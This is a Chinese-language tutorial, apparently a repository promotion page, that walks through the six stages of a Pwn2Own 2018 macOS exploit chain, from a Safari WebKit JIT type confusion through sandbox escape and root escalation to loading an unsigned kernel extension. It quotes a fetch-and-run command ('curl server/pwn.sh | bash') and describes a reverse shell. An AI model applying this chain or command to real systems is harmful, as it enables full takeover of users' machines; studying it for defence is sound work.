如何构建Pwn2Own2018漏洞利用链:新手入门的6个关键阶段详解
【免费下载链接】pwn2own2018A Pwn2Own exploit chain项目地址: https://gitcode.com/gh_mirrors/pw/pwn2own2018
Pwn2Own2018是一个针对macOS 10.13.3系统的漏洞利用链项目,通过Safari浏览器远程代码执行(RCE)、沙箱逃逸和内核权限提升(LPE)等技术,实现从浏览器到内核的完整攻击路径。本文将为新手详细解析构建这一漏洞利用链的6个关键阶段,帮助理解漏洞利用的基本原理和实现流程。
准备工作:环境搭建与项目结构
在开始构建漏洞利用链之前,需要先搭建必要的开发环境并了解项目结构。首先安装nasm和tornado:
brew install nasm pip3 install tornado项目的核心代码组织在多个阶段目录中,每个阶段负责完成特定的攻击任务。主要目录包括:stage0/、stage1/、stage2/、stage3/、stage4/、stage5/和libspc/。每个阶段目录下的make.py文件用于构建该阶段所需的 payload 或组件。
阶段0:WebKit漏洞利用(Safari RCE)
目标:在沙箱环境中的WebContent进程内执行shellcode
漏洞类型:DFG JIT编译器优化错误导致的类型混淆
WebKit的DFG JIT编译器在处理构造函数时存在优化缺陷,错误地假设CreateThis操作不会产生副作用。通过构造特殊的Proxy对象,可以在JIT编译过程中修改对象结构,从而实现addrof(获取对象地址)和fakeobj(伪造对象)原语。
利用这些原语,攻击者可以实现任意进程内存读写,进而在JIT区域(具有读写执行权限)写入stage1 shellcode。相关代码实现位于stage0/目录,包含JavaScript漏洞利用代码和辅助工具函数。
阶段1:汇编引导程序
目标:将stage2的动态链接库(.dylib)写入磁盘并加载
实现方式:汇编语言编写的短 payload
stage1是一段汇编代码,主要功能包括:
- 调用
confstr(_CS_DARWIN_USER_TEMP_DIR)获取可写目录路径 - 在该目录下创建x.dylib文件
- 将stage2的dylib内容写入文件
- 通过
dlopen()加载dylib到WebContent进程
这一阶段的代码位于stage1/stage1.asm,通过汇编语言实现了最基础的文件操作和动态库加载功能。
阶段2:沙箱逃逸
目标:突破Safari的沙箱限制
漏洞类型:launchd的"legacy_spawn" API缺少沙箱检查
launchd是macOS的初始化进程,其"legacy_spawn" RPC接口(子系统3中的例程817)未正确验证调用者权限,允许沙箱内进程执行系统任意二进制文件。stage2利用这一漏洞执行命令:
curl server/pwn.sh | bash从而获取stage3的控制权。相关实现位于stage2/payload.c,使用libspc库(libspc/)重新实现的XPC协议进行进程间通信。
阶段3:shell脚本协调
目标:执行计算器程序并引导后续阶段
实现方式:shell脚本自动化攻击流程
stage3的shell脚本首先执行open /Applications/Calculator.app弹出计算器程序,然后建立反向shell,获取后续阶段所需的所有文件并运行漏洞利用程序。这一阶段的脚本位于stage3/pwn.sh和stage3/root_payload.sh,负责攻击流程的自动化和协调。
阶段4:本地权限提升(获取root)
目标:通过漏洞获取root权限
漏洞类型:XNU引导端口中间人攻击(MitM)
XNU内核的task_set_special_portAPI允许进程覆盖其引导端口,而子进程会继承父进程的引导端口。当子进程权限高于父进程时(如setuid程序sudo),攻击者可通过修改引导端口实现与launchd的中间人攻击。
stage4针对sudo程序,拦截其与opendirectoryd的通信,伪造身份验证成功的响应,从而获取root权限。相关代码位于stage4/ssudo.c,利用libspc库实现XPC协议的拦截和伪造。
阶段5:内核代码执行
目标:加载自签名内核扩展(kext)
漏洞类型:XNU引导端口中间人攻击
stage5利用与stage4相同的漏洞,针对kextutil程序。通过拦截其与trustd的通信,伪造苹果官方的证书链,使kextutil相信自签名的内核扩展是合法的。同时阻止与syspolicyd的通信,绕过用户批准检查,最终将恶意内核扩展加载到内核中。
这一阶段的核心代码位于stage5/kextloader.c和stage5/khax/目录,包含内核扩展的实现和加载逻辑。
总结与扩展
Pwn2Own2018漏洞利用链展示了从浏览器漏洞到内核权限提升的完整攻击路径,涉及多个层面的漏洞利用技术。每个阶段都有明确的目标和实现方法,通过层层递进的方式实现最终的攻击效果。
对于新手来说,理解这一利用链可以帮助掌握漏洞利用的基本思路和技术方法。项目中的每个阶段代码都可以作为学习示例,深入研究其中的漏洞原理和利用技巧。要开始使用该项目,可通过以下命令克隆仓库:
git clone https://gitcode.com/gh_mirrors/pw/pwn2own2018然后参考项目中的README.md文件进行环境配置和使用。通过实际操作和分析代码,可以更好地理解漏洞利用链的构建过程和安全防护的重要性。
【免费下载链接】pwn2own2018A Pwn2Own exploit chain项目地址: https://gitcode.com/gh_mirrors/pw/pwn2own2018
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考